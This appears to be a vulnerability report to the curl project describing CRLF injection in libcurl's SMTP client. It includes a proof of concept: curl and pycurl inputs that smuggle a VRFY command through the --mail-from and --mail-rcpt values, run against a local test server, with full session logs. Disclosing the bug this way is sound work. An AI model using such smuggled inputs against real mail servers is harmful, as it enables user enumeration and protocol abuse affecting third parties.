curl · Report #3235428
CRLF injection in libcurl's SMTP client via --mail-from and --mail-rcpt allows SMTP command smuggling
How it was found
Summary:
libcurl's SMTP client is vulnerable to CRLF injection via the --mail-from and --mail-rcpt parameters.
An attacker can inject newline characters to smuggle SMTP commands like VRFY, potentially enabling user enumeration or protocol abuse.
While curl may fail after injection, the injected commands are executed by the SMTP server, confirming the vulnerability.
AI statement
Yes, I have used AI to find the vulnerability.
Affected version
I have tested on Ubuntu 24.04.2 with:
- curl 8.5.0 (system)
- curl 8.15.0-DEV (my local build)
- PycURL/7.45.6 with libcurl/8.12.1-DEV
The full system curl version:
$ curl -V
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
The full local build version:
$ curl -V
curl 8.15.0-DEV (Linux) libcurl/8.15.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 libssh2/1.11.0 nghttp2/1.59.0 OpenLDAP/2.6.7
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd
Steps To Reproduce:
-
run a test SMTP server; the one I used is listed below named
smtp_server, ran as./smtp_serverand listened atlocalhost:1025 -
send an email with normal email addresses, something like:
curl -vf --url "smtp://localhost:1025/" --mail-from "[email protected]" --mail-rcpt "[email protected]" --upload-file mail.txtwheremail.txtis a text file -- curl finishes normally -
now send an email with injected CRLF's, for example in the "from" field, something like:
curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-rcpt "[email protected]" --upload-file mail.txt-- curl fails withDATA failed: 250as the server sent250 OK ...to the injectedVRFYcommand instead of expected354; this is demonstrating a CRLF injection took place
I believe the problem arises since "MAIL FROM:%s%s%s%s%s%s" in smtp_perform_mail in smtp.c concatenates mail fields without sanitization (and smtp_parse_address does not sanitize "\r\n" either).
Supporting Material/References:
Normal mail send:
$ curl -vf --url "smtp://localhost:1025/" --mail-from "[email protected]" --mail-rcpt "[email protected]" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<[email protected]> SIZE=4
< 250 OK
> RCPT TO:<[email protected]>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
} [4 bytes data]
* We are completely uploaded and fine
< 250 Message accepted for delivery
* Connection #0 to host localhost left intact
Sending with CRLF in "from" field:
$ cat mail.txt
Huh?
$ curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-rcpt "[email protected]" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<[email protected]
> VRFY [email protected]
> SIZE=4
< 250 OK
> RCPT TO:<[email protected]>
< 250 OK: John X Doe <[email protected]>
> DATA
< 250 OK
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
Sending with CRLF in "rcpt" field:
$ curl -vf --url "smtp://localhost:1025/" --mail-rcpt "$(printf '[email protected]\r\nVRFY [email protected]\r\n')" --mail-from "[email protected]" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<[email protected]> SIZE=4
< 250 OK
> RCPT TO:<[email protected]
> VRFY [email protected]
>
< 250 OK
> DATA
< 250 OK: John X Doe <[email protected]>
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
error: Recipe `test-bad-rcpt` failed on line 13 with exit code 55
Sending with CRLF using pycURL:
$ ./send-with-pycurl
2025-07-03 15:08:38.173 | INFO | __main__:<module>:37 - pycurl version: PycURL/7.45.6 libcurl/8.12.1-DEV OpenSSL/3.4.1 zlib/1.3 brotli/1.1.0 libssh2/1.11.1_DEV nghttp2/1.64.0
2025-07-03 15:08:38.173 | INFO | __main__:send:22 - sending email from '[email protected]\r\nVRFY [email protected]' to '[email protected]'
2025-07-03 15:08:38.176 | ERROR | __main__:send:32 - exception: (55, 'DATA failed: 250')
Server logs (for the illustration):
$ ./smtp_server
SMTP server running at localhost:1025 (Ctrl+C to stop)
2025-07-03 15:08:23.449 | INFO | __main__:handle_DATA:24 - Message received -- from: [email protected], to: ['[email protected]']
2025-07-03 15:08:23.449 | INFO | __main__:handle_DATA:25 - Data:>>>Huh?
<<<
2025-07-03 15:08:31.116 | INFO | __main__:handle_VRFY:29 - Message received -- from: [email protected], to: []
2025-07-03 15:08:31.116 | INFO | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <[email protected]>'
2025-07-03 15:08:38.176 | INFO | __main__:handle_VRFY:29 - Message received -- from: [email protected], to: []
2025-07-03 15:08:38.176 | INFO | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <[email protected]>'
smtp_server script:
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
# "loguru",
# "aiosmtpd",
# ]
# ///
from aiosmtpd.controller import Controller
from aiosmtpd.smtp import SMTP
from loguru import logger
class MessageHandler:
async def handle_DATA(self, server, session, envelope):
logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
logger.info("Data:>>>{}<<<", envelope.content.decode("utf8", errors="replace"))
return "250 Message accepted for delivery"
async def handle_VRFY(self, server, session, envelope, address, *args, **kwargs):
logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
USERS = {
"[email protected]": "John X Doe",
}
if full_name := USERS.get(address.lower()):
response = f"250 OK: {full_name} <{address}>"
else:
response = f"550 No such user {address}"
logger.info("Sending back {!r}", response)
return response
class MyController(Controller):
def factory(self):
"""Subclasses can override this to customize the handler/server creation."""
kwargs = {**self.SMTP_kwargs, "hostname": "test-smtpd"}
return SMTP(self.handler, **kwargs)
if __name__ == "__main__":
handler = MessageHandler()
controller = MyController(handler, hostname="127.0.0.1", port=1025)
controller.start()
print("SMTP server running at localhost:1025 (Ctrl+C to stop)")
import time
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
controller.stop()
send-with-pycurl script:
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
# "loguru",
# "pycurl",
# ]
# ///
import io
import pycurl
from loguru import logger
def send(sender, recipient):
msg = f"""\
From: {sender}
To: {recipient}
Subject: Hello from pycurl
This is the email body.
"""
logger.info("sending email from {!r} to {!r}", sender, recipient)
c = pycurl.Curl()
c.setopt(pycurl.URL, "smtp://localhost:1025")
c.setopt(pycurl.MAIL_FROM, sender)
c.setopt(pycurl.MAIL_RCPT, [recipient])
c.setopt(pycurl.UPLOAD, 1)
c.setopt(pycurl.READDATA, io.BytesIO(msg.encode()))
try:
c.perform()
except Exception as exc:
logger.error("exception: {}", exc)
c.close()
if __name__ == "__main__":
logger.info("pycurl version: {}", pycurl.version)
send("[email protected]\r\nVRFY [email protected]", "[email protected]")
Impact
Summary:
This vulnerability allows attackers to inject arbitrary SMTP commands, like VRFY, by crafting malicious email addresses. It can lead to user enumeration, bypass of client-side restrictions, or disruption of the SMTP session, especially in automated or proxy-based email workflows.